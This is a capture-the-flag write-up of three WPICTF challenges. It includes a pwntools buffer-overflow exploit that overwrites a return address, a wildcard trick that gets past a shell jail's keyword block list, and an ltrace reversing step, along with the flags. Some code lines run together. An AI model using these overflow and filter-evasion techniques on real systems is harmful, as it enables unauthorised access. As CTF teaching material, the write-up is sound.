EZPZ, Pwn, 100pts==================
Problem--------nc ezpz.wpictf.xyz 31337
Solution--------We run the following script -
```pythonfrom pwn import *
r = remote('ezpz.wpictf.xyz', 31337)
msg = r.recvline()print(msg)address = int(msg.split(' ')[1], 16)  # 16 for hexr.recvline()
buf  = 'A'*0x88buf += p64(address)r.sendline(buf)
r.interactive()```
This gives the flag - `WPI{3uffer_0verflows_r_ezpz_l3mon_5queazy}`.
Shell-JAIL-1, Pwn, 150pts==========================
Problem--------Download the login private key, then run:
ssh -p 31337 -i login [email protected]
redundant servers on 31338 and 31339
Solution---------The solution was to not use "\*", "sh", "/", "home", "pc_owner", "flag", "txt" in the command to display flag.txt.
So we run - `./access "cat ????.???"`
The flag is - `wpi{MaNY_WayS_T0_r3Ad}`.
Penguin, Reversing, 50pts=========================
Problem-------Find flag.
Solution--------
We use ltrace to see program flow.
Running `ltrace WPI{1}`
Gives output -  ![](output.png)
So we keep doing that, and finally get the flag - `WPI{strings_only_gives_you_wings,_you_still_have_to_learn_how_to_fly._try_hexedit}`.
